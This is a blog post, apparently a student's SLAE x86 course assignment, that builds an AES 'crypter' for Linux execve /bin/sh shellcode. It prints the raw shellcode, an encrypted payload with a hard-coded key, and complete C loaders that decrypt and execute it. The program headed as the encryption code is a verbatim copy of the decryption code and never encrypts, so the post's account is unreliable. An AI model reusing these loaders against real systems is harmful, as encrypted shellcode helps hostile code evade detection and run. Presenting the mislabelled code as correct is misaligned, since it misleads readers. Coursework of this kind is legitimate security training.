SLAEx86 - Assignment 7
The seventh and last assignment for the SLAEx86 certification includes the following requirements:
- Create a custom crypter like the one shown in the “crypters” video
- Free to use any existing encryption schema
- Can use any programming language
This was a fun assignment and required quite a bit of research on my part …
After a lot of research I decided to use the AES encryption schema using the OpenSSL libraries in C. The shellcode I chose to encrypt and decrypt was the /bin/sh execve shellcode:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80
Using this wiki I was able to build a successful encryption and decryption C program to successfully execute the shellcode. I hard-coded the encryption key and initialization vector for simplicity.
Encryption C Code:
#include <openssl/conf.h> #include <openssl/evp.h> #include <openssl/err.h> #include <string.h> int main (void) { /* A 256 bit key */ unsigned char key[] = "q6UoGP9cQvVvgcJAq6UoGP9cQvVvgcJA"; /* A 128 bit IV */ unsigned char iv[] = "gWSIpGZyAs3ecaZ2"; /* Message to be encrypted */ unsigned char encrypted[] = "\x13\x8a\x36\x5c\xd5\x86\x42\xab\x91\x09\x7f\xe5\x66\x10\x10\xd7\xaa\x06\x51\x96\x67\x4c\x08\x86\x17\xff\x93\x9c\xa4\x17\xfa\x6a"; /* Buffer for the decrypted text */ unsigned char decryptedtext[128]; int decryptedtext_len, encrypted_len; encrypted_len = strlen(encrypted); /* Initialise the library */ ERR_load_crypto_strings(); OpenSSL_add_all_algorithms(); OPENSSL_config(NULL); /* Do something useful with the ciphertext here */ printf("[+] Encrypted Shellcode [+]:\n"); int i; for(i=0; i < encrypted_len; i++) { printf("\\x%02x", encrypted[i]); } printf("\n\n"); /* Decrypt the shellcode */ decryptedtext_len = decrypt(encrypted, encrypted_len, key, iv, decryptedtext); /* Add a NULL terminator. We are expecting printable text */ decryptedtext[decryptedtext_len] = '\0'; /* Show the decrypted text */ printf("[+] Decrypted Shellcode [+]:\n"); int j; for(j=0; j < decryptedtext_len; j++) { printf("\\x%02x", decryptedtext[j]); } printf("\n\n"); printf("[+] Executing Shellcode [+]"); printf("\n\n"); /* Clean up */ EVP_cleanup(); ERR_free_strings(); int (*ret)() = (int(*)())decryptedtext; ret(); //return 0; } void handleErrors(void) { ERR_print_errors_fp(stderr); abort(); } int decrypt(unsigned char *encrypted, int encrypted_len, unsigned char *key, unsigned char *iv, unsigned char *decryptedtext) { EVP_CIPHER_CTX *ctx; int len; int decryptedtext_len; /* Create and initialise the context */ if(!(ctx = EVP_CIPHER_CTX_new())) handleErrors(); /* Initialise the decryption operation */ if(1 != EVP_DecryptInit_ex(ctx, EVP_aes_256_cbc(), NULL, key, iv)) handleErrors(); /* Provide the encrypted shellcode to be decrypted, and obtain the original output */ if(1 != EVP_DecryptUpdate(ctx, decryptedtext, &len, encrypted, encrypted_len)) handleErrors(); decryptedtext_len = len; /* Finalise the decryption */ if(1 != EVP_DecryptFinal_ex(ctx, decryptedtext + len, &len)) handleErrors(); decryptedtext_len += len; /* Clean up */ EVP_CIPHER_CTX_free(ctx); return decryptedtext_len; }
And successfully running the encryption program:
For decryption, I again hard-coded the encryption key, initialization vector, and the encrypted shellcode that was generated.
Decryption C Code:
#include <openssl/conf.h> #include <openssl/evp.h> #include <openssl/err.h> #include <string.h> int main (void) { /* A 256 bit key */ unsigned char key[] = "q6UoGP9cQvVvgcJAq6UoGP9cQvVvgcJA"; /* A 128 bit IV */ unsigned char iv[] = "gWSIpGZyAs3ecaZ2"; /* Message to be encrypted */ unsigned char encrypted[] = "\x13\x8a\x36\x5c\xd5\x86\x42\xab\x91\x09\x7f\xe5\x66\x10\x10\xd7\xaa\x06\x51\x96\x67\x4c\x08\x86\x17\xff\x93\x9c\xa4\x17\xfa\x6a"; /* Buffer for the decrypted text */ unsigned char decryptedtext[128]; int decryptedtext_len, encrypted_len; encrypted_len = strlen(encrypted); /* Initialise the library */ ERR_load_crypto_strings(); OpenSSL_add_all_algorithms(); OPENSSL_config(NULL); /* Do something useful with the ciphertext here */ printf("[+] Encrypted Shellcode [+]:\n"); int i; for(i=0; i < encrypted_len; i++) { printf("\\x%02x", encrypted[i]); } printf("\n\n"); /* Decrypt the shellcode */ decryptedtext_len = decrypt(encrypted, encrypted_len, key, iv, decryptedtext); /* Add a NULL terminator. We are expecting printable text */ decryptedtext[decryptedtext_len] = '\0'; /* Show the decrypted text */ printf("[+] Decrypted Shellcode [+]:\n"); int j; for(j=0; j < decryptedtext_len; j++) { printf("\\x%02x", decryptedtext[j]); } printf("\n\n"); printf("[+] Executing Shellcode [+]"); printf("\n\n"); /* Clean up */ EVP_cleanup(); ERR_free_strings(); int (*ret)() = (int(*)())decryptedtext; ret(); //return 0; } void handleErrors(void) { ERR_print_errors_fp(stderr); abort(); } int decrypt(unsigned char *encrypted, int encrypted_len, unsigned char *key, unsigned char *iv, unsigned char *decryptedtext) { EVP_CIPHER_CTX *ctx; int len; int decryptedtext_len; /* Create and initialise the context */ if(!(ctx = EVP_CIPHER_CTX_new())) handleErrors(); /* Initialise the decryption operation */ if(1 != EVP_DecryptInit_ex(ctx, EVP_aes_256_cbc(), NULL, key, iv)) handleErrors(); /* Provide the encrypted shellcode to be decrypted, and obtain the original output */ if(1 != EVP_DecryptUpdate(ctx, decryptedtext, &len, encrypted, encrypted_len)) handleErrors(); decryptedtext_len = len; /* Finalise the decryption */ if(1 != EVP_DecryptFinal_ex(ctx, decryptedtext + len, &len)) handleErrors(); decryptedtext_len += len; /* Clean up */ EVP_CIPHER_CTX_free(ctx); return decryptedtext_len; }
Executing the decryption program returned the original shellcode and executed the /bin/sh shell:
Success!